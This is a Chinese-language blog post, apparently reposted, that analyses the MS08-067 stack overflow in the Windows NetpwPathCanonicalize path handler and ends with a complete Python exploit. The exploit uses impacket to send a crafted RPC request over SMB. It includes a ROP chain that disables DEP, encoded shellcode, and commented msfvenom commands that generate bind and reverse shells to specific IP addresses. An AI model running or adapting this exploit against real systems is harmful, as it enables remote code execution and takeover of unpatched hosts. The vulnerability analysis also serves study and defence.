ms08067 分析與利用


分析

漏洞位於 NetpwPathCanonicalize 函數里面,這個函數的作用在於處理路徑中的 ..\.\ 信息。該函數聲明如下:

DWORD NetpwPathCanonicalize(
    LPWSTR PathName, //需要標准化的路徑, 輸入
    LPWSTR Outbuf, //存儲標准化后的路徑的Buffer
    DWORD OutbufLen, //Buffer長度
    LPWSTR Prefix, //可選參數,當PathName是相對路徑時有用
    LPDWORD PathType, //存儲路徑類型
    DWORD Flags // 保留,為0
)

函數的代碼如下

HRESULT __stdcall NetpwPathCanonicalize(wchar_t *PathName, wchar_t *Outbuf, int OutbufLen, wchar_t *Prefix, int PathType, int Flags)
{
	....................................................
	....................................................
    result = CanonicalizePathName(prefix, PathName, Outbuf, OutbufLen, 0);
    if ( !result )
      result = NetpwPathType(Outbuf, PathType, 0);
    ....................................................

輸入的路徑 PathName 經過簡單的驗證后,最終會進入 CanonicalizePathName 函數, 函數的主要代碼如下

int __stdcall CanonicalizePathName(wchar_t *prefix, wchar_t *path, char *outbuf, int outBufLen, int a5)
{
  ....................................................
  ....................................................
  pathLength = _wcslen(Path);
  totalLen = pathLength + totalLength;
  if ( totalLen < pathLength || totalLen > 519 )
    return 123;
  _wcscat(Dest, Path);
  for ( i = Dest; *i; ++i )                     // 將路徑中 / 換成 \
  {
    if ( *i == '/' )
      *i = '\\';
  }
  if ( !sub_5B86A22A(Dest) && !vuln_parse(Dest) )
    return 123;

這個函數的主要功能是在路徑前面加上 prefix , 然后判斷路徑字符串的長度避免出現溢出, 最后將路徑中的 / 都替換為 \。最后替換完的路徑會傳入 vuln_parse 函數進行具體的處理, 漏洞就出現在該函數。

函數代碼如下:

int __stdcall vuln_parse(wchar_t *path)
{


  pathStart = path;
  current_char = *path;
  pre = 0;
  ppre = 0;
  p = 0;
  // 首先從 UNC 路徑提取出路徑字符串,去掉 \\host\path 的 \\host\
  ....................................................
  ....................................................
  
  cur = pathStart;                              // p --> 路徑的開始
  
  //開始具體的路徑處理
  while ( 1 )
  {
    if ( current_char == '\\' )
    {
      if ( pre == cur - 1 )
        return 0;
      ppre = pre;
      p = cur;
      goto next;
    }
    if ( current_char != '.' || pre != cur - 1 && cur != pathStart )
      goto next;
    pnext = cur + 1;
    next_char = cur[1];
    if ( next_char == '.' )
    {
      next_char2 = cur[2];
      if ( next_char2 == '\\' || !next_char2 )
      {
        if ( !ppre )
          return 0;
        _wcscpy(ppre, cur + 2);                 // 處理 ..\
        if ( !next_char2 )
          return 1;
        p = ppre;
        cur = ppre;
        for ( j = ppre - 1; *j != 0x5C && j != path; --j )// 往前找 \ , 去掉
          ;
        pathStart = path;
        ppre = (*j == '\\' ? j : 0);
      }
      goto next;
    }
    if ( next_char != '\\' )
      break;
    if ( pre )
    {
      v14 = pre;
    }
    else
    {
      pnext = cur + 2;
      v14 = cur;
    }
    _wcscpy(v14, pnext);                        // 去掉 .\
    pathStart = path;
LABEL_7:
    current_char = *cur;
    if ( !*cur )
      return 1;
    pre = p;
  }                                             // end of while
  if ( next_char )
  {
next:
    ++cur;
    goto LABEL_7;
  }
  if ( pre )
    cur = pre;
  *cur = 0;
  return 1;
}

函數對於 .\..\ 處理流程如下:

  • 使用 ppre , pre , cur 三個指針分別指向前兩個獨立的 \ 符號, 和當前處理字符的位置。
  • 當出現單個 \ 的時候,設置好 ppre , pre , cur 三個指針然后跳過。
  • 當出現 .\ 時, 復制 .\ 后面的字符串到 .\ 的位置,清理掉 .\
  • 當出現 ..\ 時, 復制 ..\ 后面的字符串到 ppre 位置處,清理掉 ..\ , 之后再從 ppre-1 的位置開始往前搜索 \ 來重新設置 ppre

下面以一個實例為例介紹漏洞的原理。

base = 0x100
ppre = 0 , pre=0 ,  cur=0x100
0x100 : \c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

循環 1:
	cur 指向的字符串: \c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	處理完之后: ppre = 0, pre = 0x100, cur=0x101

循環 2:
	cur 指向的字符串:c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	處理完之后: ppre = 0, pre = 0x100, cur=0x102

循環 3:
	cur 指向的字符串:\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	處理完之后: ppre =0x100, pre = 0x102, cur=0x103

循環 4:
	cur 指向的字符串:..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	0x100 : \..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	處理完之后: ppre =(從 0x9f 開始往前搜索到的 \ 的位置), pre = 0x100, cur=0x101

首先假設我們輸入的路徑為

\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

假設路徑保存在 0x100 位置處,在最開始進入路徑處理循環時,一些遍歷的值如下

ppre = 0 , pre=0 ,  cur=0x100

第一次循環,發現處理的字符為 \ , 那么會設置 ppre = pre,然后保存 \ 的位置到 pre , 最后對 cur++ .

ppre = pre
pre = cur
cur++
此時: ppre = 0, pre = 0x100, cur=0x101

第二次循環,處理的字符為 c , 那么直接 cur++ 。此時的變量信息

ppre = 0, pre = 0x100, cur=0x102

第二次循環,處理的字符為 \ , 設置變量信息,同時對 cur++.

處理完之后: ppre =0x100, pre = 0x102, cur=0x103

第三次循環, 處理的字符為 . 然后會一直往下走,最終進入 ..\ 的處理部分。

_wcscpy(ppre, cur + 2);                 // 處理 ..\
pre_tmp = ppre;
cur = ppre;
for ( j = ppre - 1; *j != 0x5C && j != path; --j )// 往前找 \ , 去掉
;
pathStart = path;
ppre = (*j == '\\' ? j : 0);

首先將 cur+2 開始的字符串復制到 ppre 處, 這樣可以處理 ..\ , 然后會從 ppre - 1 往前搜索 \ ,並將地址保存到 ppre 里面. 此時的內存信息如下:

0x100 : \..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
處理完之后: ppre =(從 0x9f 開始往前搜索到的 \ 的位置), pre = 0x100, cur=0x101

可以看到 ppre 開始從 0x9f 開始去搜索 \ , 越界訪問。由於路徑存放在棧上,所以 ppre 最終會搜索到下一個函數的棧幀。然后繼續處理的時候,發現又是 ..\ , 那么會調用 _wcscpy , 那么最終就會把 _wcscpy 函數的棧幀給破壞了,可以覆蓋到返回地址。

wcspy 的復制操作完成后,就可以覆蓋了 wcscpy 的返回地址.

調試

啟動相應的進程

C:\Windows\System32\svchost.exe -k netsvcs

查看進程信息,找到相應的 PID

wmic process where caption="svchost.exe" get caption,handle,commandline

輸出如下

C:\>wmic process where caption="svchost.exe" get caption,handle,commandline
Caption      CommandLine                                        Handle
svchost.exe  C:\WINDOWS\system32\svchost -k DcomLaunch          884
svchost.exe  C:\WINDOWS\system32\svchost -k rpcss               968
svchost.exe  C:\WINDOWS\System32\svchost.exe -k netsvcs         1084
svchost.exe  C:\WINDOWS\system32\svchost.exe -k NetworkService  1140
svchost.exe  C:\WINDOWS\system32\svchost.exe -k LocalService    1192

我們可以知道服務的進程 PID1084 , 然后用調試器 attach 上,就可以開始調試了。

下圖是調用 wcscpy 之前,可以看到第一個參數已經超出了當前函數的棧幀,落入了 wcscpy 函數的棧幀里面。

wcscpy 拷貝完全后,返回地址被修改

漏洞利用

測試環境為 xp sp3 , 開啟了 DEP , 所以需要先關閉 DEP 然后執行 shellcode , 這里使用 ZwSetInformationProcess 函數來關閉 DEP。 函數的定義如下

ZwSetInformationProcess(
    IN HANDLE ProcessHandle,                                //-1 表示當前進程
    IN PROCESS_INFORMATION_CLASS ProcessInformationClass,   //信息類
    IN PVOID ProcessInformation,                            //用來設置_KEXECUTE_OPTIONS
    IN ULONG ProcessInformationLength                       //第三個參數的長度
);

關閉 DEP 我們需要設置的參數為

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
    NtCurrentProcess(),         // (HANDLE)-1
    ProcessExecuteFlags,        // 0x22
    &ExecuteFlags,              // ptr to 0x2
    sizeof(ExecuteFlags)        // 0x4
);

AcGenral.dll 里面正好有調用函數的代碼片段:

6F8917C2    6A 04           push    4
6F8917C4    8D45 08         lea     eax, dword ptr [ebp+8]
6F8917C7    50              push    eax
6F8917C8    6A 22           push    22
6F8917CA    6A FF           push    -1
6F8917CC    C745 08 0200000>mov     dword ptr [ebp+8], 2
6F8917D3    FF15 0414886F   call    dword ptr [<&ntdll.NtSetInformat>; ntdll.ZwSetInformationProcess

所以我們只需要設置 ebp 為可寫內存的地址,然后進入 6F8917C2 即可關閉 DEP, 在 wcscpy 返回前需要從棧上恢復 ebp 所以 ebp也可以控制

77C47E96    55              push    ebp
77C47E97    8BEC            mov     ebp, esp
77C47E99    8B4D 08         mov     ecx, dword ptr [ebp+8]
77C47E9C    8B55 0C         mov     edx, dword ptr [ebp+C]
77C47E9F    66:8B02         mov     ax, word ptr [edx]
77C47EA2    66:8901         mov     word ptr [ecx], ax
77C47EA5    41              inc     ecx
77C47EA6    41              inc     ecx
77C47EA7    42              inc     edx
77C47EA8    42              inc     edx
77C47EA9    66:85C0         test    ax, ax
77C47EAC  ^ 75 F1           jnz     short 77C47E9F
77C47EAE    8B45 08         mov     eax, dword ptr [ebp+8]
77C47EB1    5D              pop     ebp                              ; dot3api.478C7070
77C47EB2    C3              retn

關閉 DEP 后,可以發現 esi 指向的位置是輸入字符串的一部分,所以當關閉 DEP 后,在 esi 處放置一個跳轉指令(用於跳轉到 shellcode 區域),然后利用 rop 跳轉到 esi 執行,就可以執行 shellcode 了。

exp:

#!/usr/bin/env python
import struct
import time
import sys
from impacket import smb
from impacket import uuid
from impacket.dcerpc.v5 import transport



def p32(d):
    return struct.pack("<I", d)


# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

shellcode = (
    "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
    "\x2c\xad\x3b\x99\x83\xee\xfc\xe2\xf4\xd0\x45\xb9\x99\x2c\xad"
    "\x5b\x10\xc9\x9c\xfb\xfd\xa7\xfd\x0b\x12\x7e\xa1\xb0\xcb\x38"
    "\x26\x49\xb1\x23\x1a\x71\xbf\x1d\x52\x97\xa5\x4d\xd1\x39\xb5"
    "\x0c\x6c\xf4\x94\x2d\x6a\xd9\x6b\x7e\xfa\xb0\xcb\x3c\x26\x71"
    "\xa5\xa7\xe1\x2a\xe1\xcf\xe5\x3a\x48\x7d\x26\x62\xb9\x2d\x7e"
    "\xb0\xd0\x34\x4e\x01\xd0\xa7\x99\xb0\x98\xfa\x9c\xc4\x35\xed"
    "\x62\x36\x98\xeb\x95\xdb\xec\xda\xae\x46\x61\x17\xd0\x1f\xec"
    "\xc8\xf5\xb0\xc1\x08\xac\xe8\xff\xa7\xa1\x70\x12\x74\xb1\x3a"
    "\x4a\xa7\xa9\xb0\x98\xfc\x24\x7f\xbd\x08\xf6\x60\xf8\x75\xf7"
    "\x6a\x66\xcc\xf2\x64\xc3\xa7\xbf\xd0\x14\x71\xc7\x3a\x14\xa9"
    "\x1f\x3b\x99\x2c\xfd\x53\xa8\xa7\xc2\xbc\x66\xf9\x16\xcb\x2c"
    "\x8e\xfb\x53\x3f\xb9\x10\xa6\x66\xf9\x91\x3d\xe5\x26\x2d\xc0"
    "\x79\x59\xa8\x80\xde\x3f\xdf\x54\xf3\x2c\xfe\xc4\x4c\x4f\xcc"
    "\x57\xfa\x02\xc8\x43\xfc\x2c\xad\x3b\x99"
)

nops = "\x90" * (410 - len(shellcode))
shellcode = nops + shellcode

call_esi_ret = p32(0x6f88f807)  # call esi
disable_nx = p32(0x6f8917c2)  # call ZwSetInformationProcess
writeable_address = p32(0x478c7070) # 

payload = ""
payload += "\x5c\x00"
payload += "ABCDEFGHIJ" * 10
payload += shellcode
payload += "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"
payload += "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"
payload += writeable_address
payload += disable_nx  # eip
payload += "B" * 4
payload += call_esi_ret
payload += "\x90" * 50
payload += "\xeb\x62"
payload += "A" * 10
payload += "\x00" * 2  # end of string

#payload length --> 620

if len(sys.argv) == 3:
    trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % sys.argv[1], dstport = int(sys.argv[2]), filename = '\\browser' )
else:
    trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % sys.argv[1])



trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
MaxCount = "\x36\x01\x00\x00"  # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00"  # Decimal 310. => Path length of 620

stub = server + MaxCount + Offset + ActualCount + payload + \
    "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
dce.call(0x1f, stub)

raw_input("exploit finished!!!")

參考

https://blog.csdn.net/iiprogram/article/details/3156229

https://zhuanlan.zhihu.com/p/27155431

https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM